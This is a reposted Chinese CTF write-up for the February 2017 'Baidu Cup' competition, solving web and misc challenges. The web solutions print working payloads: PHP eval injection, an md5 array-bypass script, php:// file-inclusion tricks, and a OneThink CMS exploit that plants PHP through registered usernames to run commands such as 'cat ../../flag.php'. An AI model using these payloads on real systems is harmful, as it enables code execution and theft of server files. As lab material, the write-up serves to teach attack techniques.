“百度杯”CTF比赛 2017 二月场(Misc Web)
Posted Sch01aR#
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了“百度杯”CTF比赛 2017 二月场(Misc Web)相关的知识,希望对你有一定的参考价值。
-
爆破-1:
打开链接,是502
我直接在后面加个变量传参数:?a=1
出了一段代码
var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS
给hello参数传个GLOBALS
得到flag
-
爆破-2:
打开链接
var_dump()会返回数据变量的类型和值
eval()会把字符串当作php代码
有两种方法得到flag
1:?hello=file(\'flag.php\')
2:?hello=);show_source(\'flag.php\');var_dump(
-
爆破-3:
打开链接,还是php代码
<?php error_reporting(0); session_start(); require(\'./flag.php\'); if(!isset($_SESSION[\'nums\'])){ $_SESSION[\'nums\'] = 0; $_SESSION[\'time\'] = time(); $_SESSION[\'whoami\'] = \'ea\'; } if($_SESSION[\'time\']+120<time()){ session_destroy(); } $value = $_REQUEST[\'value\']; $str_rand = range(\'a\', \'z\'); $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; if($_SESSION[\'whoami\']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ $_SESSION[\'nums\']++; $_SESSION[\'whoami\'] = $str_rands; echo $str_rands; } if($_SESSION[\'nums\']>=10){ echo $flag; } show_source(__FILE__); ?>
关键几点:
变量str_rand的值是2位小写字母
如果SESSIONS中的whoami参数和参数value的值相等,并且md5()函数处理后的变量value的第5位开始往后4位等于0,nums就会加1,whoami的值就也会更新,当nums大于10的话,就能得到flag了
数组可以绕过md5的这个判断,因为md5()函数处理一个数组会返回null,null==0
第一次传参,?value[]=ea
第二次传参,?value[]=mj,以此类推
可以写个python脚本跑一下
import requests s = requests.session() strs = [\'abcdefghijklmnopqrstuvwxyz\'] url = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=ea" r = s.get(url) for i in range(10): url_1 = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=" + r.text[:2] r = s.get(url_1) print(r.url) if \'flag{\' in r.text: print(r.text)
运行结果
得到flag
-
include:
是一道文件包含题,打开链接
如果参数path的文件存在的话,则包含该文件;如果不存在的话,包含phpinfo.php文件
用php://input协议包含post请求的代码
查看该目录下的文件
发现一个可疑文件,查看一下内容
得到flag
也可以用php协议直接读文件内容
php://filter/read=convert.base64-encode/resource=dle345aae.php
解一下base64就好了
-
OneThink:
题目提示已知漏洞
百度一下相关的漏洞
参考链接:http://www.hackdig.com/06/hack-36510.htm
注册两个账号,%0a$a=$_GET[a];//和%0aecho `$a`;//
注册的时候要拿burp改包
创建完成后,依次登陆
访问缓存文件:/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php
加上参数a=ls
执行成功,找一下flag文件
a=cat ../../flag.php
得到flag
misc 1 祸起北荒:
题目内容:亿万年前
天子之子华夜,被父神之神末渊上神告知六荒十海之北荒西二旗即将发生一场“百度杯”的诸神之战
他作为天族的太子必须参与到此次诸神之战定六荒十海
华夜临危受命,马上带着火凤凰飞行到北荒“西二旗”
却没想到这六荒之首北荒西二旗果然名不虚传,这是一个位于六层虚数空间上的时空大陆
他需要闯过每一层虚数空间,方能到达虚数空间
第一层虚数空间是需要与一个上古神器“i春秋”进行智能比拼,获取开启第一层虚数空间的flag
启动法诀: 元宵节百度杯与红包更加搭配哟!
flag格式:flag{****}
在微信上跟i春秋公众号的机器人聊天得flag
misc 2 上古神器:
题目内容:第二层虚数空间是上古之神密神守护,密神精通各类法器加密解密珠算之法更是出神入化。
华夜十分客气对密神道:在下是天族太子华夜。赴诸神之战,还请上神行个方便,让在下通过这第二层虚数空间
密神听了华夜的话之后,十分激动:如果你要通过第二层虚数空间,没有问题,但是你需要帮助我将这个波斯传来的“波利比奥斯棋盘”上的秘密解决掉
华夜拿到该棋盘,只见棋盘盒上分布着一串十分奇异的数字:
“3534315412244543_434145114215_132435231542”
华夜微微思量,只见他大袖一会,手上立马变出一个计算器,瘦削的指尖快速的点击
一万年之后。。。
华夜通过他神力,终于揭开了棋盘山的秘密。。
密神见之十分欣喜,望着月亮升起的地方忧伤的道:实不相瞒,我守护者这第二层虚数空间已经上万年,在这期间无数人想要通过第二层的虚数空间,但都无功而返。不是我为难他们,而是通往第三层虚数空间的法诀就是这棋盘的秘密。
多少年来无人成功。太子你年纪轻轻就有如此神力,实在是后生可畏。
flag格式:flag{****} 全为小写字符串
把上面那串数字进行解密,加密方式为波利比奥斯棋盘
把上面那串数字两两一组,按照表先横后竖地比对
得到
misc 3 此去经年:
题目内容:第三层虚数空间是由一位已经陨落的上古剑圣--独孤求败一手创立的,据说这位上古大神痴迷诗词,其中最爱的便是一首解谜诗
原本有心花不开
偶尔有人来相伴
悔时无心已有泪
吞下口去悄无声
来者耳边轻轻诉
缺少左边心相印
东风带走一二点
一生只败在了两件事上,第一件事是这首解谜诗
另外一件事是,没有动用丝毫武力便败给了劲敌东方不败
失败的原因没能填满东方不败出的一首诗句
他将这首残诗刻在了通往第四层虚数空间的通关法诀上
只有填满句诗词,才能走出这层虚数空间
5LiD5pyI5Zyo6YeOICA=
5YWr5pyI5Zyo5a6HIA==
5Lmd5pyI5Zyo5oi3
flag格式:flag{*****}
把上面三行进行base64解密
import base64 print(base64.b64decode(\'5LiD5pyI5Zyo6YeOICA=\').decode()) print(base64.b64decode(\'5YWr5pyI5Zyo5a6HIA==\').decode()) print(base64.b64decode(\'5Lmd5pyI5Zyo5oi3\').decode())
得到三句诗
百度一下这首诗
十月这句就是flag了
以上是关于“百度杯”CTF比赛 2017 二月场(Misc Web)的主要内容,如果未能解决你的问题,请参考以下文章
nginx配置不当导致的目录遍历下载漏洞-“百度杯”CTF比赛 2017 二月场